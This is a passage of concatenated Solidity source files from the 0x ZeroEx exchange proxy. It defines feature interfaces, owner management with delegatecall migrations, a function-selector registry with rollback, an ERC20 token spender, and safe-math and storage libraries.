WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
/// @dev Basic interface for a feature contract.
interface IFeature {
// solhint-disable func-name-mixedcase
/// @dev The name of this feature set.
function FEATURE_NAME() external view returns (string memory name);
/// @dev The version of this feature set.
function FEATURE_VERSION() external view returns (uint256 version);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/interfaces/IOwnableV06.sol";
// solhint-disable no-empty-blocks
/// @dev Owner management and migration features.
interface IOwnable is
IOwnableV06
{
/// @dev Emitted when `migrate()` is called.
/// @param caller The caller of `migrate()`.
/// @param migrator The migration contract.
/// @param newOwner The address of the new owner.
event Migrated(address caller, address migrator, address newOwner);
/// @dev Execute a migration function in the context of the ZeroEx contract.
/// The result of the function being called should be the magic bytes
/// 0x2c64c5ef (`keccack('MIGRATE_SUCCESS')`). Only callable by the owner.
/// The owner will be temporarily set to `address(this)` inside the call.
/// Before returning, the owner will be set to `newOwner`.
/// @param target The migrator contract address.
/// @param newOwner The address of the new owner.
/// @param data The call data.
function migrate(address target, bytes calldata data, address newOwner) external;
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
/// @dev Basic registry management features.
interface ISimpleFunctionRegistry {
/// @dev A function implementation was updated via `extend()` or `rollback()`.
/// @param selector The function selector.
/// @param oldImpl The implementation contract address being replaced.
/// @param newImpl The replacement implementation contract address.
event ProxyFunctionUpdated(bytes4 indexed selector, address oldImpl, address newImpl);
/// @dev Roll back to a prior implementation of a function.
/// @param selector The function selector.
/// @param targetImpl The address of an older implementation of the function.
function rollback(bytes4 selector, address targetImpl) external;
/// @dev Register or replace a function.
/// @param selector The function selector.
/// @param impl The implementation contract for the function.
function extend(bytes4 selector, address impl) external;
/// @dev Retrieve the length of the rollback history for a function.
/// @param selector The function selector.
/// @return rollbackLength The number of items in the rollback history for
/// the function.
function getRollbackLength(bytes4 selector)
external
view
returns (uint256 rollbackLength);
/// @dev Retrieve an entry in the rollback history for a function.
/// @param selector The function selector.
/// @param idx The index in the rollback history.
/// @return impl An implementation address for the function at
/// index `idx`.
function getRollbackEntryAtIndex(bytes4 selector, uint256 idx)
external
view
returns (address impl);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
/// @dev Feature that allows spending token allowances.
interface ITokenSpender {
/// @dev Transfers ERC20 tokens from `owner` to `to`.
/// Only callable from within.
/// @param token The token to spend.
/// @param owner The owner of the tokens.
/// @param to The recipient of the tokens.
/// @param amount The amount of `token` to transfer.
function _spendERC20Tokens(
IERC20TokenV06 token,
address owner,
address to,
uint256 amount
)
external;
/// @dev Gets the maximum amount of an ERC20 token `token` that can be
/// pulled from `owner`.
/// @param token The token to spend.
/// @param owner The owner of the tokens.
/// @return amount The amount of tokens that can be pulled.
function getSpendableERC20BalanceOf(IERC20TokenV06 token, address owner)
external
view
returns (uint256 amount);
/// @dev Get the address of the allowance target.
/// @return target The target of token allowances.
function getAllowanceTarget() external view returns (address target);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
interface IERC20TokenV06 {
// solhint-disable no-simple-event-func-name
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/// @dev send `value` token to `to` from `msg.sender`
/// @param to The address of the recipient
/// @param value The amount of token to be transferred
/// @return True if transfer was successful
function transfer(address to, uint256 value)
external
returns (bool);
/// @dev send `value` token to `to` from `from` on the condition it is approved by `from`
/// @param from The address of the sender
/// @param to The address of the recipient
/// @param value The amount of token to be transferred
/// @return True if transfer was successful
function transferFrom(
address from,
address to,
uint256 value
)
external
returns (bool);
/// @dev `msg.sender` approves `spender` to spend `value` tokens
/// @param spender The address of the account able to transfer the tokens
/// @param value The amount of wei to be approved for transfer
/// @return Always true if the call has enough gas to complete execution
function approve(address spender, uint256 value)
external
returns (bool);
/// @dev Query total supply of token
/// @return Total supply of token
function totalSupply()
external
view
returns (uint256);
/// @dev Get the balance of `owner`.
/// @param owner The address from which the balance will be retrieved
/// @return Balance of owner
function balanceOf(address owner)
external
view
returns (uint256);
/// @dev Get the allowance for `spender` to spend from `owner`.
/// @param owner The address of the account owning tokens
/// @param spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address owner, address spender)
external
view
returns (uint256);
/// @dev Get the number of decimals this token has.
function decimals()
external
view
returns (uint8);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
import "../transformers/IERC20Transformer.sol";
import "../external/IFlashWallet.sol";
/// @dev Feature to composably transform between ERC20 tokens.
interface ITransformERC20 {
/// @dev Defines a transformation to run in `transformERC20()`.
struct Transformation {
// The deployment nonce for the transformer.
// The address of the transformer contract will be derived from this
// value.
uint32 deploymentNonce;
// Arbitrary data to pass to the transformer.
bytes data;
}
/// @dev Raised upon a successful `transformERC20`.
/// @param taker The taker (caller) address.
/// @param inputToken The token being provided by the taker.
/// If `0xeee...`, ETH is implied and should be provided with the call.`
/// @param outputToken The token to be acquired by the taker.
/// `0xeee...` implies ETH.
/// @param inputTokenAmount The amount of `inputToken` to take from the taker.
/// @param outputTokenAmount The amount of `outputToken` received by the taker.
event TransformedERC20(
address indexed taker,
address inputToken,
address outputToken,
uint256 inputTokenAmount,
uint256 outputTokenAmount
);
/// @dev Raised when `setTransformerDeployer()` is called.
/// @param transformerDeployer The new deployer address.
event TransformerDeployerUpdated(address transformerDeployer);
/// @dev Replace the allowed deployer for transformers.
/// Only callable by the owner.
/// @param transformerDeployer The address of the trusted deployer for transformers.
function setTransformerDeployer(address transformerDeployer)
external;
/// @dev Deploy a new flash wallet instance and replace the current one with it.
/// Useful if we somehow break the current wallet instance.
/// Anyone can call this.
/// @return wallet The new wallet instance.
function createTransformWallet()
external
returns (IFlashWallet wallet);
/// @dev Executes a series of transformations to convert an ERC20 `inputToken`
/// to an ERC20 `outputToken`.
/// @param inputToken The token being provided by the sender.
/// If `0xeee...`, ETH is implied and should be provided with the call.`
/// @param outputToken The token to be acquired by the sender.
/// `0xeee...` implies ETH.
/// @param inputTokenAmount The amount of `inputToken` to take from the sender.
/// @param minOutputTokenAmount The minimum amount of `outputToken` the sender
/// must receive for the entire transformation to succeed.
/// @param transformations The transformations to execute on the token balance(s)
/// in sequence.
/// @return outputTokenAmount The amount of `outputToken` received by the sender.
function transformERC20(
IERC20TokenV06 inputToken,
IERC20TokenV06 outputToken,
uint256 inputTokenAmount,
uint256 minOutputTokenAmount,
Transformation[] calldata transformations
)
external
payable
returns (uint256 outputTokenAmount);
/// @dev Internal version of `transformERC20()`. Only callable from within.
/// @param callDataHash Hash of the ingress calldata.
/// @param taker The taker address.
/// @param inputToken The token being provided by the taker.
/// If `0xeee...`, ETH is implied and should be provided with the call.`
/// @param outputToken The token to be acquired by the taker.
/// `0xeee...` implies ETH.
/// @param inputTokenAmount The amount of `inputToken` to take from the taker.
/// @param minOutputTokenAmount The minimum amount of `outputToken` the taker
/// must receive for the entire transformation to succeed.
/// @param transformations The transformations to execute on the token balance(s)
/// in sequence.
/// @return outputTokenAmount The amount of `outputToken` received by the taker.
function _transformERC20(
bytes32 callDataHash,
address payable taker,
IERC20TokenV06 inputToken,
IERC20TokenV06 outputToken,
uint256 inputTokenAmount,
uint256 minOutputTokenAmount,
Transformation[] calldata transformations
)
external
payable
returns (uint256 outputTokenAmount);
/// @dev Return the current wallet instance that will serve as the execution
/// context for transformations.
/// @return wallet The wallet instance.
function getTransformWallet()
external
view
returns (IFlashWallet wallet);
/// @dev Return the allowed deployer for transformers.
/// @return deployer The transform deployer address.
function getTransformerDeployer()
external
view
returns (address deployer);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
/// @dev A transformation callback used in `TransformERC20.transformERC20()`.
interface IERC20Transformer {
/// @dev Called from `TransformERC20.transformERC20()`. This will be
/// delegatecalled in the context of the FlashWallet instance being used.
/// @param callDataHash The hash of the `TransformERC20.transformERC20()` calldata.
/// @param taker The taker address (caller of `TransformERC20.transformERC20()`).
/// @param data Arbitrary data to pass to the transformer.
/// @return success The success bytes (`LibERC20Transformer.TRANSFORMER_SUCCESS`).
function transform(
bytes32 callDataHash,
address payable taker,
bytes calldata data
)
external
returns (bytes4 success);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "../fixins/FixinCommon.sol";
import "../errors/LibOwnableRichErrors.sol";
import "../storage/LibOwnableStorage.sol";
import "../migrations/LibBootstrap.sol";
import "../migrations/LibMigrate.sol";
import "./IFeature.sol";
import "./IOwnable.sol";
import "./SimpleFunctionRegistry.sol";
/// @dev Owner management features.
contract Ownable is
IFeature,
IOwnable,
FixinCommon
{
// solhint-disable
/// @dev Name of this feature.
string public constant override FEATURE_NAME = "Ownable";
/// @dev Version of this feature.
uint256 public immutable override FEATURE_VERSION = _encodeVersion(1, 0, 0);
/// @dev The deployed address of this contract.
address immutable private _implementation;
// solhint-enable
using LibRichErrorsV06 for bytes;
constructor() public {
_implementation = address(this);
}
/// @dev Initializes this feature. The intial owner will be set to this (ZeroEx)
/// to allow the bootstrappers to call `extend()`. Ownership should be
/// transferred to the real owner by the bootstrapper after
/// bootstrapping is complete.
/// @return success Magic bytes if successful.
function bootstrap() external returns (bytes4 success) {
// Set the owner to ourselves to allow bootstrappers to call `extend()`.
LibOwnableStorage.getStorage().owner = address(this);
// Register feature functions.
SimpleFunctionRegistry(address(this))._extendSelf(this.transferOwnership.selector, _implementation);
SimpleFunctionRegistry(address(this))._extendSelf(this.owner.selector, _implementation);
SimpleFunctionRegistry(address(this))._extendSelf(this.migrate.selector, _implementation);
return LibBootstrap.BOOTSTRAP_SUCCESS;
}
/// @dev Change the owner of this contract.
/// Only directly callable by the owner.
/// @param newOwner New owner address.
function transferOwnership(address newOwner)
external
override
onlyOwner
{
LibOwnableStorage.Storage storage proxyStor = LibOwnableStorage.getStorage();
if (newOwner == address(0)) {
LibOwnableRichErrors.TransferOwnerToZeroError().rrevert();
} else {
proxyStor.owner = newOwner;
emit OwnershipTransferred(msg.sender, newOwner);
}
}
/// @dev Execute a migration function in the context of the ZeroEx contract.
/// The result of the function being called should be the magic bytes
/// 0x2c64c5ef (`keccack('MIGRATE_SUCCESS')`). Only callable by the owner.
/// Temporarily sets the owner to ourselves so we can perform admin functions.
/// Before returning, the owner will be set to `newOwner`.
/// @param target The migrator contract address.
/// @param data The call data.
/// @param newOwner The address of the new owner.
function migrate(address target, bytes calldata data, address newOwner)
external
override
onlyOwner
{
if (newOwner == address(0)) {
LibOwnableRichErrors.TransferOwnerToZeroError().rrevert();
}
LibOwnableStorage.Storage storage stor = LibOwnableStorage.getStorage();
// The owner will be temporarily set to `address(this)` inside the call.
stor.owner = address(this);
// Perform the migration.
LibMigrate.delegatecallMigrateFunction(target, data);
// Update the owner.
stor.owner = newOwner;
emit Migrated(msg.sender, target, newOwner);
}
/// @dev Get the owner of this contract.
/// @return owner_ The owner of this contract.
function owner() external override view returns (address owner_) {
return LibOwnableStorage.getStorage().owner;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "../errors/LibCommonRichErrors.sol";
import "../errors/LibOwnableRichErrors.sol";
import "../features/IOwnable.sol";
/// @dev Common feature utilities.
contract FixinCommon {
using LibRichErrorsV06 for bytes;
/// @dev The caller must be this contract.
modifier onlySelf() virtual {
if (msg.sender != address(this)) {
LibCommonRichErrors.OnlyCallableBySelfError(msg.sender).rrevert();
}
_;
}
/// @dev The caller of this function must be the owner.
modifier onlyOwner() virtual {
{
address owner = IOwnable(address(this)).owner();
if (msg.sender != owner) {
LibOwnableRichErrors.OnlyOwnerError(
msg.sender,
owner
).rrevert();
}
}
_;
}
/// @dev Encode a feature version as a `uint256`.
/// @param major The major version number of the feature.
/// @param minor The minor version number of the feature.
/// @param revision The revision number of the feature.
/// @return encodedVersion The encoded version number.
function _encodeVersion(uint32 major, uint32 minor, uint32 revision)
internal
pure
returns (uint256 encodedVersion)
{
return (major << 64) | (minor << 32) | revision;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "./LibStorage.sol";
/// @dev Storage helpers for the `Ownable` feature.
library LibOwnableStorage {
/// @dev Storage bucket for this feature.
struct Storage {
// The owner of this contract.
address owner;
}
/// @dev Get the storage bucket for this contract.
function getStorage() internal pure returns (Storage storage stor) {
uint256 storageSlot = LibStorage.getStorageSlot(
LibStorage.StorageId.Ownable
);
// Dip into assembly to change the slot pointed to by the local
// variable `stor`.
// See https://solidity.readthedocs.io/en/v0.6.8/assembly.html?highlight=slot#access-to-external-variables-functions-and-libraries
assembly { stor_slot := storageSlot }
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "../errors/LibOwnableRichErrors.sol";
library LibMigrate {
/// @dev Magic bytes returned by a migrator to indicate success.
/// This is `keccack('MIGRATE_SUCCESS')`.
bytes4 internal constant MIGRATE_SUCCESS = 0x2c64c5ef;
using LibRichErrorsV06 for bytes;
/// @dev Perform a delegatecall and ensure it returns the magic bytes.
/// @param target The call target.
/// @param data The call data.
function delegatecallMigrateFunction(
address target,
bytes memory data
)
internal
{
(bool success, bytes memory resultData) = target.delegatecall(data);
if (!success ||
resultData.length != 32 ||
abi.decode(resultData, (bytes4)) != MIGRATE_SUCCESS)
{
LibOwnableRichErrors.MigrateCallFailedError(target, resultData).rrevert();
}
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "../fixins/FixinCommon.sol";
import "../storage/LibProxyStorage.sol";
import "../storage/LibSimpleFunctionRegistryStorage.sol";
import "../errors/LibSimpleFunctionRegistryRichErrors.sol";
import "../migrations/LibBootstrap.sol";
import "./IFeature.sol";
import "./ISimpleFunctionRegistry.sol";
/// @dev Basic registry management features.
contract SimpleFunctionRegistry is
IFeature,
ISimpleFunctionRegistry,
FixinCommon
{
// solhint-disable
/// @dev Name of this feature.
string public constant override FEATURE_NAME = "SimpleFunctionRegistry";
/// @dev Version of this feature.
uint256 public immutable override FEATURE_VERSION = _encodeVersion(1, 0, 0);
/// @dev The deployed address of this contract.
address private immutable _implementation;
// solhint-enable
using LibRichErrorsV06 for bytes;
constructor() public {
_implementation = address(this);
}
/// @dev Initializes this feature, registering its own functions.
/// @return success Magic bytes if successful.
function bootstrap()
external
returns (bytes4 success)
{
// Register the registration functions (inception vibes).
_extend(this.extend.selector, _implementation);
_extend(this._extendSelf.selector, _implementation);
// Register the rollback function.
_extend(this.rollback.selector, _implementation);
// Register getters.
_extend(this.getRollbackLength.selector, _implementation);
_extend(this.getRollbackEntryAtIndex.selector, _implementation);
return LibBootstrap.BOOTSTRAP_SUCCESS;
}
/// @dev Roll back to a prior implementation of a function.
/// Only directly callable by an authority.
/// @param selector The function selector.
/// @param targetImpl The address of an older implementation of the function.
function rollback(bytes4 selector, address targetImpl)
external
override
onlyOwner
{
(
LibSimpleFunctionRegistryStorage.Storage storage stor,
LibProxyStorage.Storage storage proxyStor
) = _getStorages();
address currentImpl = proxyStor.impls[selector];
if (currentImpl == targetImpl) {
// Do nothing if already at targetImpl.
return;
}
// Walk history backwards until we find the target implementation.
address[] storage history = stor.implHistory[selector];
uint256 i = history.length;
for (; i > 0; --i) {
address impl = history[i - 1];
history.pop();
if (impl == targetImpl) {
break;
}
}
if (i == 0) {
LibSimpleFunctionRegistryRichErrors.NotInRollbackHistoryError(
selector,
targetImpl
).rrevert();
}
proxyStor.impls[selector] = targetImpl;
emit ProxyFunctionUpdated(selector, currentImpl, targetImpl);
}
/// @dev Register or replace a function.
/// Only directly callable by an authority.
/// @param selector The function selector.
/// @param impl The implementation contract for the function.
function extend(bytes4 selector, address impl)
external
override
onlyOwner
{
_extend(selector, impl);
}
/// @dev Register or replace a function.
/// Only callable from within.
/// This function is only used during the bootstrap process and
/// should be deregistered by the deployer after bootstrapping is
/// complete.
/// @param selector The function selector.
/// @param impl The implementation contract for the function.
function _extendSelf(bytes4 selector, address impl)
external
onlySelf
{
_extend(selector, impl);
}
/// @dev Retrieve the length of the rollback history for a function.
/// @param selector The function selector.
/// @return rollbackLength The number of items in the rollback history for
/// the function.
function getRollbackLength(bytes4 selector)
external
override
view
returns (uint256 rollbackLength)
{
return LibSimpleFunctionRegistryStorage.getStorage().implHistory[selector].length;
}
/// @dev Retrieve an entry in the rollback history for a function.
/// @param selector The function selector.
/// @param idx The index in the rollback history.
/// @return impl An implementation address for the function at
/// index `idx`.
function getRollbackEntryAtIndex(bytes4 selector, uint256 idx)
external
override
view
returns (address impl)
{
return LibSimpleFunctionRegistryStorage.getStorage().implHistory[selector][idx];
}
/// @dev Register or replace a function.
/// @param selector The function selector.
/// @param impl The implementation contract for the function.
function _extend(bytes4 selector, address impl)
private
{
(
LibSimpleFunctionRegistryStorage.Storage storage stor,
LibProxyStorage.Storage storage proxyStor
) = _getStorages();
address oldImpl = proxyStor.impls[selector];
address[] storage history = stor.implHistory[selector];
history.push(oldImpl);
proxyStor.impls[selector] = impl;
emit ProxyFunctionUpdated(selector, oldImpl, impl);
}
/// @dev Get the storage buckets for this feature and the proxy.
/// @return stor Storage bucket for this feature.
/// @return proxyStor age bucket for the proxy.
function _getStorages()
private
pure
returns (
LibSimpleFunctionRegistryStorage.Storage storage stor,
LibProxyStorage.Storage storage proxyStor
)
{
return (
LibSimpleFunctionRegistryStorage.getStorage(),
LibProxyStorage.getStorage()
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "./LibStorage.sol";
/// @dev Storage helpers for the `SimpleFunctionRegistry` feature.
library LibSimpleFunctionRegistryStorage {
/// @dev Storage bucket for this feature.
struct Storage {
// Mapping of function selector -> implementation history.
mapping(bytes4 => address[]) implHistory;
}
/// @dev Get the storage bucket for this contract.
function getStorage() internal pure returns (Storage storage stor) {
uint256 storageSlot = LibStorage.getStorageSlot(
LibStorage.StorageId.SimpleFunctionRegistry
);
// Dip into assembly to change the slot pointed to by the local
// variable `stor`.
// See https://solidity.readthedocs.io/en/v0.6.8/assembly.html?highlight=slot#access-to-external-variables-functions-and-libraries
assembly { stor_slot := storageSlot }
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibSafeMathV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/LibERC20TokenV06.sol";
import "../errors/LibSpenderRichErrors.sol";
import "../fixins/FixinCommon.sol";
import "../migrations/LibMigrate.sol";
import "../external/IAllowanceTarget.sol";
import "../storage/LibTokenSpenderStorage.sol";
import "./ITokenSpender.sol";
import "./IFeature.sol";
import "./ISimpleFunctionRegistry.sol";
/// @dev Feature that allows spending token allowances.
contract TokenSpender is
IFeature,
ITokenSpender,
FixinCommon
{
// solhint-disable
/// @dev Name of this feature.
string public constant override FEATURE_NAME = "TokenSpender";
/// @dev Version of this feature.
uint256 public immutable override FEATURE_VERSION = _encodeVersion(1, 0, 0);
/// @dev The implementation address of this feature.
address private immutable _implementation;
// solhint-enable
using LibRichErrorsV06 for bytes;
constructor() public {
_implementation = address(this);
}
/// @dev Initialize and register this feature. Should be delegatecalled
/// into during a `Migrate.migrate()`.
/// @param allowanceTarget An `allowanceTarget` instance, configured to have
/// the ZeroeEx contract as an authority.
/// @return success `MIGRATE_SUCCESS` on success.
function migrate(IAllowanceTarget allowanceTarget) external returns (bytes4 success) {
LibTokenSpenderStorage.getStorage().allowanceTarget = allowanceTarget;
ISimpleFunctionRegistry(address(this))
.extend(this.getAllowanceTarget.selector, _implementation);
ISimpleFunctionRegistry(address(this))
.extend(this._spendERC20Tokens.selector, _implementation);
ISimpleFunctionRegistry(address(this))
.extend(this.getSpendableERC20BalanceOf.selector, _implementation);
return LibMigrate.MIGRATE_SUCCESS;
}
/// @dev Transfers ERC20 tokens from `owner` to `to`. Only callable from within.
/// @param token The token to spend.
/// @param owner The owner of the tokens.
/// @param to The recipient of the tokens.
/// @param amount The amount of `token` to transfer.
function _spendERC20Tokens(
IERC20TokenV06 token,
address owner,
address to,
uint256 amount
)
external
override
onlySelf
{
IAllowanceTarget spender = LibTokenSpenderStorage.getStorage().allowanceTarget;
// Have the allowance target execute an ERC20 `transferFrom()`.
(bool didSucceed, bytes memory resultData) = address(spender).call(
abi.encodeWithSelector(
IAllowanceTarget.executeCall.selector,
address(token),
abi.encodeWithSelector(
IERC20TokenV06.transferFrom.selector,
owner,
to,
amount
)
)
);
if (didSucceed) {
resultData = abi.decode(resultData, (bytes));
}
if (!didSucceed || !LibERC20TokenV06.isSuccessfulResult(resultData)) {
LibSpenderRichErrors.SpenderERC20TransferFromFailedError(
address(token),
owner,
to,
amount,
resultData
).rrevert();
}
}
/// @dev Gets the maximum amount of an ERC20 token `token` that can be
/// pulled from `owner` by the token spender.
/// @param token The token to spend.
/// @param owner The owner of the tokens.
/// @return amount The amount of tokens that can be pulled.
function getSpendableERC20BalanceOf(IERC20TokenV06 token, address owner)
external
override
view
returns (uint256 amount)
{
return LibSafeMathV06.min256(
token.allowance(owner, address(LibTokenSpenderStorage.getStorage().allowanceTarget)),
token.balanceOf(owner)
);
}
/// @dev Get the address of the allowance target.
/// @return target The target of token allowances.
function getAllowanceTarget()
external
override
view
returns (address target)
{
return address(LibTokenSpenderStorage.getStorage().allowanceTarget);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
import "./errors/LibRichErrorsV06.sol";
import "./errors/LibSafeMathRichErrorsV06.sol";
library LibSafeMathV06 {
function safeMul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
if (c / a != b) {
LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError(
LibSafeMathRichErrorsV06.BinOpErrorCodes.MULTIPLICATION_OVERFLOW,
a,
b
));
}
return c;
}
function safeDiv(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b == 0) {
LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError(
LibSafeMathRichErrorsV06.BinOpErrorCodes.DIVISION_BY_ZERO,
a,
b
));
}
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (b > a) {
LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError(
LibSafeMathRichErrorsV06.BinOpErrorCodes.SUBTRACTION_UNDERFLOW,
a,
b
));
}
return a - b;
}
function safeAdd(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
if (c < a) {
LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError(
LibSafeMathRichErrorsV06.BinOpErrorCodes.ADDITION_OVERFLOW,
a,
b
));
}
return c;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
